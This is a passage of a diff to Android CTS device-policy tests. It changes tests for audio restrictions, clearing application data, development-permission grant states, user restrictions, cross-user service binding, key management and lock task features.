-public class ResumeWhilePausingActivity extends Activity {
- // Empty
+public class NonExportedActivity extends Activity {
+
+ public static ComponentName getComponentName(Context context ){
+ return new ComponentName(context, NonExportedActivity.class);
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
similarity index 67%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
copy to hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
index 578d7e5..56ec466 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
@@ -13,11 +13,15 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-
-package android.server.cts;
+package com.android.cts.crossprofileappstest;
import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
-public class ResumeWhilePausingActivity extends Activity {
- // Empty
+public class NonMainActivity extends Activity {
+
+ public static ComponentName getComponentName(Context context) {
+ return new ComponentName(context, NonMainActivity.class);
+ }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index efc7115..f26d228 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -83,8 +83,8 @@
}
try {
- // Set volume of ringtone to be 1.
- mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, /* flag= */ 0);
+ // Set volume of music to be 1.
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, /* flag= */ 0);
// Disallow adjusting volume.
mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -93,7 +93,7 @@
// Verify that volume can't be changed.
mAudioManager.adjustVolume(AudioManager.ADJUST_RAISE, /* flag= */ 0);
- assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+ assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
// Allowing adjusting volume.
mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -105,7 +105,7 @@
waitUntil(2, new Callable<Integer>() {
@Override
public Integer call() throws Exception {
- return mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
+ return mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
}
});
} finally {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java
new file mode 100644
index 0000000..d477706
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.os.Handler;
+import android.os.HandlerThread;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test class that calls DPM.clearApplicationUserData and verifies that it doesn't time out.
+ */
+public class ClearApplicationDataTest extends BaseDeviceAdminTest {
+ private static final String TEST_PKG = "com.android.cts.intent.receiver";
+ private static final Semaphore mSemaphore = new Semaphore(0);
+ private static final long CLEAR_APPLICATION_DATA_TIMEOUT_S = 10;
+
+ private HandlerThread mHandlerThread;
+ private Handler mHandler;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mHandlerThread = new HandlerThread("ClearApplicationData");
+ mHandlerThread.start();
+ mHandler = new Handler(mHandlerThread.getLooper());
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ mHandlerThread.quitSafely();
+ super.tearDown();
+ }
+
+ public void testClearApplicationData() throws Exception {
+ mDevicePolicyManager.clearApplicationUserData(ADMIN_RECEIVER_COMPONENT, TEST_PKG,
+ (String pkg, boolean succeeded) -> {
+ assertEquals(TEST_PKG, pkg);
+ assertTrue(succeeded);
+ mSemaphore.release();
+ }, mHandler);
+
+ assertTrue("Clearing application data took too long",
+ mSemaphore.tryAcquire(CLEAR_APPLICATION_DATA_TIMEOUT_S, TimeUnit.SECONDS));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 6c706ee..70a5d09 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -22,7 +22,6 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
-import android.os.UserManager;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -47,6 +46,7 @@
private static final String SIMPLE_PRE_M_APP_PACKAGE_NAME =
"com.android.cts.launcherapps.simplepremapp";
private static final String PERMISSION_NAME = "android.permission.READ_CONTACTS";
+ private static final String DEVELOPMENT_PERMISSION = "android.permission.INTERACT_ACROSS_USERS";
private static final String PERMISSIONS_ACTIVITY_NAME
= PERMISSION_APP_PACKAGE_NAME + ".PermissionActivity";
@@ -227,6 +227,15 @@
assertSetPermissionGrantStatePreMApp(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
}
+ public void testPermissionGrantState_developmentPermission() throws Exception {
+ assertFailedToSetDevelopmentPermissionGrantState(
+ DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
+ assertFailedToSetDevelopmentPermissionGrantState(
+ DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+ assertFailedToSetDevelopmentPermissionGrantState(
+ DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+ }
+
private void assertPermissionRequest(int expected) throws Exception {
assertPermissionRequest(expected, null);
}
@@ -274,6 +283,18 @@
value);
}
+ private void assertFailedToSetDevelopmentPermissionGrantState(int value) throws Exception {
+ assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+ PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION, value));
+ assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+ PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION),
+ DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+ assertEquals(mPackageManager.checkPermission(DEVELOPMENT_PERMISSION,
+ PERMISSION_APP_PACKAGE_NAME),
+ PackageManager.PERMISSION_DENIED);
+ }
+
+
private void assertSetPermissionGrantStatePreMApp(int value) throws Exception {
assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
index 39235b0..0361fd8 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
@@ -60,6 +60,7 @@
UserManager.DISALLOW_SMS,
UserManager.DISALLOW_FUN,
UserManager.DISALLOW_CREATE_WINDOWS,
+ UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
UserManager.DISALLOW_OUTGOING_BEAM,
UserManager.DISALLOW_SAFE_BOOT,
@@ -91,7 +92,8 @@
// PO can set them too, but when DO sets them, they're global.
UserManager.DISALLOW_ADJUST_VOLUME,
- UserManager.DISALLOW_UNMUTE_MICROPHONE
+ UserManager.DISALLOW_UNMUTE_MICROPHONE,
+ UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS
};
public static final String[] HIDDEN_AND_PROHIBITED = new String[] {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
index b218341..0595f3c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
@@ -48,6 +48,7 @@
UserManager.DISALLOW_SMS,
UserManager.DISALLOW_FUN,
UserManager.DISALLOW_CREATE_WINDOWS,
+ UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
UserManager.DISALLOW_OUTGOING_BEAM,
UserManager.DISALLOW_SAFE_BOOT,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
index 5c7f243..89bafdc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
@@ -38,6 +38,7 @@
UserManager.DISALLOW_UNMUTE_MICROPHONE,
UserManager.DISALLOW_ADJUST_VOLUME,
UserManager.DISALLOW_OUTGOING_CALLS,
+ UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
UserManager.DISALLOW_OUTGOING_BEAM,
UserManager.ALLOW_PARENT_PROFILE_APP_LINKING,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index 4cc041a..4084099 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -22,7 +22,10 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ $(call all-Iaidl-files-under, src)
+
+LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
LOCAL_JAVA_LIBRARIES := android.test.runner conscrypt cts-junit
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 9a09007..f032a93 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -52,6 +52,20 @@
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
+ <receiver
+ android:name="com.android.cts.deviceowner.CreateAndManageUserTest$SecondaryUserAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
+ <service android:name="com.android.cts.deviceowner.CreateAndManageUserTest$PrimaryUserService"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ </service>
<activity
android:name="com.android.cts.deviceowner.KeyManagementActivity"
@@ -70,14 +84,6 @@
</intent-filter>
</activity>
- <!-- we need to give a different taskAffinity so that when we use
- FLAG_ACTIVITY_NEW_TASK, the system tries to start it in a different task
- -->
- <activity
- android:name="com.android.cts.deviceowner.LockTaskTest$IntentReceivingActivity"
- android:taskAffinity="com.android.cts.deviceowner.LockTaskTest.IntentReceivingActivity"
- />
-
<activity
android:name=".SetPolicyActivity"
android:launchMode="singleTop">
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index a540c27..ce39db4 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -17,6 +17,7 @@
package com.android.cts.deviceowner;
import android.app.ActivityManager;
+import android.app.Service;
import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
@@ -24,16 +25,20 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.content.ServiceConnection;
import android.content.pm.PackageManager;
-import android.os.Bundle;
+import android.os.IBinder;
import android.os.PersistableBundle;
-import android.os.Process;
+import android.os.RemoteException;
import android.os.UserHandle;
import android.os.UserManager;
import android.provider.Settings;
import android.support.v4.content.LocalBroadcastManager;
import android.util.Log;
-import java.lang.reflect.Field;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Semaphore;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.TimeUnit;
@@ -50,6 +55,12 @@
private static final String SETUP_COMPLETE_EXTRA = "setupCompleteExtra";
private static final int BROADCAST_TIMEOUT = 15_000;
private static final int USER_SWITCH_DELAY = 10_000;
+
+ private static final String AFFILIATION_ID = "affiliation.id";
+ private static final String EXTRA_AFFILIATION_ID = "affiliationIdExtra";
+ private static final long ON_ENABLED_TIMEOUT_SECONDS = 120;
+
+
private PackageManager mPackageManager;
private ActivityManager mActivityManager;
private volatile boolean mReceived;
@@ -204,44 +215,13 @@
public void testCreateAndManageEphemeralUser() throws Exception {
String testUserName = "TestUser_" + System.currentTimeMillis();
- // Use reflection to get the value of the hidden flag to make the new user ephemeral.
- Field field = DevicePolicyManager.class.getField("MAKE_USER_EPHEMERAL");
- int makeEphemeralFlag = field.getInt(null);
-
// Do not assign return value to mUserHandle, so it is not removed in tearDown.
mDevicePolicyManager.createAndManageUser(
getWho(),
testUserName,
getWho(),
null,
- makeEphemeralFlag);
- }
-
- /**
- * Test creating an ephemeral user using the {@link DevicePolicyManager#createAndManageUser}
- * method fails on systems without the split system user.
- *
- * <p>To be used by host-side test on systems without the split system user.
- */
- public void testCreateAndManageEphemeralUserFails() throws Exception {
- String testUserName = "TestUser_" + System.currentTimeMillis();
-
- // Use reflection to get the value of the hidden flag to make the new user ephemeral.
- Field field = DevicePolicyManager.class.getField("MAKE_USER_EPHEMERAL");
- int makeEphemeralFlag = field.getInt(null);
-
- try {
- mDevicePolicyManager.createAndManageUser(
- getWho(),
- testUserName,
- getWho(),
- null,
- makeEphemeralFlag);
- } catch (IllegalArgumentException e) {
- // Success, the expected exception was thrown.
- return;
- }
- fail("createAndManageUser should have thrown IllegalArgumentException");
+ DevicePolicyManager.MAKE_USER_EPHEMERAL);
}
// Disabled due to b/29072728
@@ -302,6 +282,28 @@
}
}
+ public void testCreateAndManageUser_StartUserInBackground() throws Exception {
+ String testUserName = "TestUser_" + System.currentTimeMillis();
+
+ // Set affiliation id to allow communication
+ mDevicePolicyManager.setAffiliationIds(getWho(), Collections.singleton(AFFILIATION_ID));
+
+ // Pack the affiliation id in a bundle so the secondary user can get it
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putString(EXTRA_AFFILIATION_ID, AFFILIATION_ID);
+
+ // Do not assign return value to mUserHandle, so it is not removed in tearDown.
+ UserHandle uh = mDevicePolicyManager.createAndManageUser(
+ getWho(),
+ testUserName,
+ SecondaryUserAdminReceiver.getComponentName(mContext),
+ bundle,
+ DevicePolicyManager.START_USER_IN_BACKGROUND);
+ Log.d(TAG, "User create: " + uh);
+
+ PrimaryUserService.assertCrossUserCallArrived();
+ }
+
static class LocalBroadcastReceiver extends BroadcastReceiver {
private SynchronousQueue<UserHandle> mQueue = new SynchronousQueue<UserHandle>();
@@ -318,4 +320,75 @@
return mQueue.poll(BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
}
}
+
+ public static final class PrimaryUserService extends Service {
+ private static final Semaphore mSemaphore = new Semaphore(0);
+
+ private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
+ public void onEnabledCalled() {
+ Log.d(TAG, "onEnabledCalled on primary user");
+ mSemaphore.release();
+ }
+ };
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder;
+ }
+
+ static void assertCrossUserCallArrived() throws Exception {
+ assertTrue(mSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS));
+ }
+ }
+
+ public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ Log.d(TAG, "onEnabled called");
+ DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+ // Set affiliation ids
+ String affiliationId = intent.getStringExtra(EXTRA_AFFILIATION_ID);
+ dpm.setAffiliationIds(getComponentName(context),
+ Collections.singleton(affiliationId));
+ // Call all affiliated users
+ final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(
+ getComponentName(context));
+ assertEquals(1, targetUsers.size());
+ pingTargetUser(context, dpm, targetUsers.get(0));
+ }
+
+ private void pingTargetUser(Context context, DevicePolicyManager dpm, UserHandle target) {
+ Log.d(TAG, "Pinging target: " + target);
+ final ServiceConnection serviceConnection = new ServiceConnection() {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ Log.d(TAG, "onServiceConnected is called in " + Thread.currentThread().getName());
+ ICrossUserService crossUserService = ICrossUserService
+ .Stub.asInterface(service);
+ try {
+ crossUserService.onEnabledCalled();
+ } catch (RemoteException re) {
+ Log.e(TAG, "Error when calling primary user", re);
+ // Do nothing, primary user will time out
+ }
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ Log.d(TAG, "onServiceDisconnected is called");
+ }
+ };
+ final Intent serviceIntent = new Intent(context, PrimaryUserService.class);
+ assertTrue(dpm.bindDeviceAdminServiceAsUser(
+ getComponentName(context),
+ serviceIntent,
+ serviceConnection,
+ Context.BIND_AUTO_CREATE,
+ target));
+ }
+
+ public static ComponentName getComponentName(Context context) {
+ return new ComponentName(context, SecondaryUserAdminReceiver.class);
+ }
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl
similarity index 83%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
copy to hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl
index 8de1cda..0cf5dcf 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl
@@ -14,9 +14,8 @@
* limitations under the License.
*/
-package android.server.cts;
+package com.android.cts.deviceowner;
-import android.app.Activity;
-
-public class BottomLeftLayoutActivity extends Activity {
-}
+interface ICrossUserService {
+ void onEnabledCalled();
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
index 0b783a0..e569fc0 100755
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
@@ -215,11 +215,33 @@
}
}
+ public void testNotUserSelectableAliasCanBeChosenViaPolicy() throws Exception {
+ final String alias = "com.android.test.not-selectable-key-1";
+ final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey , "RSA");
+ final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
+
+ // Install keypair.
+ assertTrue(mDevicePolicyManager.installKeyPair(
+ getWho(), privKey, new Certificate[] {cert}, alias, false, false));
+ try {
+ // Request and retrieve using the alias.
+ assertGranted(alias, false);
+ assertEquals(alias, new KeyChainAliasFuture(alias).get());
+ assertGranted(alias, true);
+ } finally {
+ // Delete regardless of whether the test succeeded.
+ assertTrue(mDevicePolicyManager.removeKeyPair(getWho(), alias));
+ }
+ }
+
private void assertGranted(String alias, boolean expected) throws InterruptedException {
boolean granted = false;
try {
granted = (KeyChain.getPrivateKey(getActivity(), alias) != null);
} catch (KeyChainException e) {
+ if (expected) {
+ e.printStackTrace();
+ }
}
assertEquals("Grant for alias: \"" + alias + "\"", expected, granted);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
index 9c5380a..d625a6b 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
@@ -15,14 +15,22 @@
*/
package com.android.cts.deviceowner;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NONE;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_RECENTS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
+
import static junit.framework.Assert.assertEquals;
import static junit.framework.Assert.assertFalse;
import static junit.framework.Assert.assertTrue;
import static org.junit.Assert.assertArrayEquals;
-import android.app.Activity;
import android.app.ActivityManager;
+import android.app.ActivityOptions;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -39,6 +47,8 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.TimeUnit;
+
@RunWith(AndroidJUnit4.class)
public class LockTaskTest {
@@ -54,18 +64,23 @@
private static final String UTILITY_ACTIVITY_IF_WHITELISTED
= "com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted";
- private static final String RECEIVING_ACTIVITY_PACKAGE_NAME
- = "com.android.cts.intent.receiver";
- private static final String RECEIVING_ACTIVITY_NAME
- = "com.android.cts.intent.receiver.IntentReceiverActivity";
+ private static final String RECEIVER_ACTIVITY_PACKAGE_NAME =
+ "com.android.cts.intent.receiver";
+ private static final String RECEIVER_ACTIVITY_NAME =
+ "com.android.cts.intent.receiver.IntentReceiverActivity";
private static final String ACTION_JUST_CREATE =
"com.android.cts.action.JUST_CREATE";
+ private static final String ACTION_CREATE_AND_WAIT =
+ "com.android.cts.action.CREATE_AND_WAIT";
+ private static final String RECEIVER_ACTIVITY_CREATED_ACTION =
+ "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_CREATED";
+ private static final String RECEIVER_ACTIVITY_DESTROYED_ACTION =
+ "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_DESTROYED";
- private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000; // 20 seconds
- private static final int ACTIVITY_RUNNING_TIMEOUT_MILLIS = 10000; // 10 seconds
- private static final int ACTIVITY_DESTROYED_TIMEOUT_MILLIS = 60000; // 60 seconds
- public static final String RECEIVING_ACTIVITY_CREATED_ACTION
- = "com.android.cts.deviceowner.RECEIVING_ACTIVITY_CREATED_ACTION";
+ private static final long ACTIVITY_RESUMED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
+ private static final long ACTIVITY_RUNNING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+ private static final long ACTIVITY_DESTROYED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(60);
+
/**
* The tests below need to keep detailed track of the state of the activity
* that is started and stopped frequently. To do this it sends a number of
@@ -105,31 +120,27 @@
mIntentHandled = true;
LockTaskTest.this.notify();
}
- } else if (RECEIVING_ACTIVITY_CREATED_ACTION.equals(action)) {
- synchronized(mReceivingActivityCreatedLock) {
- mReceivingActivityWasCreated = true;
- mReceivingActivityCreatedLock.notify();
+ } else if (RECEIVER_ACTIVITY_CREATED_ACTION.equals(action)) {
+ synchronized(mReceiverActivityRunningLock) {
+ mIsReceiverActivityRunning = true;
+ mReceiverActivityRunningLock.notify();
+ }
+ } else if (RECEIVER_ACTIVITY_DESTROYED_ACTION.equals(action)) {
+ synchronized (mReceiverActivityRunningLock) {
+ mIsReceiverActivityRunning = false;
+ mReceiverActivityRunningLock.notify();
}
}
}
};
- public static class IntentReceivingActivity extends Activity {
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- sendBroadcast(new Intent(RECEIVING_ACTIVITY_CREATED_ACTION));
- finish();
- }
- }
-
private volatile boolean mIsActivityRunning;
private volatile boolean mIsActivityResumed;
- private volatile boolean mReceivingActivityWasCreated;
+ private volatile boolean mIsReceiverActivityRunning;
private volatile boolean mIntentHandled;
private final Object mActivityRunningLock = new Object();
private final Object mActivityResumedLock = new Object();
- private final Object mReceivingActivityCreatedLock = new Object();
+ private final Object mReceiverActivityRunningLock = new Object();
private Context mContext;
private ActivityManager mActivityManager;
@@ -139,17 +150,17 @@
public void setUp() {
mContext = InstrumentationRegistry.getContext();
- mDevicePolicyManager = (DevicePolicyManager)
- mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
- mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ mActivityManager = mContext.getSystemService(ActivityManager.class);
IntentFilter filter = new IntentFilter();
filter.addAction(LockTaskUtilityActivity.CREATE_ACTION);
filter.addAction(LockTaskUtilityActivity.DESTROY_ACTION);
filter.addAction(LockTaskUtilityActivity.INTENT_ACTION);
filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
- filter.addAction(RECEIVING_ACTIVITY_CREATED_ACTION);
+ filter.addAction(RECEIVER_ACTIVITY_CREATED_ACTION);
+ filter.addAction(RECEIVER_ACTIVITY_DESTROYED_ACTION);
mContext.registerReceiver(mReceiver, filter);
}
@@ -172,6 +183,34 @@
assertFalse(mDevicePolicyManager.isLockTaskPermitted(TEST_PACKAGE));
}
+ // Setting and unsetting the lock task features. The actual UI behavior is tested with CTS
+ // verifier.
+ @Test
+ public void testSetLockTaskFeatures() {
+ final int[] flags = new int[] {
+ LOCK_TASK_FEATURE_SYSTEM_INFO,
+ LOCK_TASK_FEATURE_NOTIFICATIONS,
+ LOCK_TASK_FEATURE_HOME,
+ LOCK_TASK_FEATURE_RECENTS,
+ LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+ LOCK_TASK_FEATURE_KEYGUARD
+ };
+
+ int cumulative = LOCK_TASK_FEATURE_NONE;
+ for (int flag : flags) {
+ mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, flag);
+ assertEquals(flag, mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+
+ cumulative |= flag;
+ mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, cumulative);
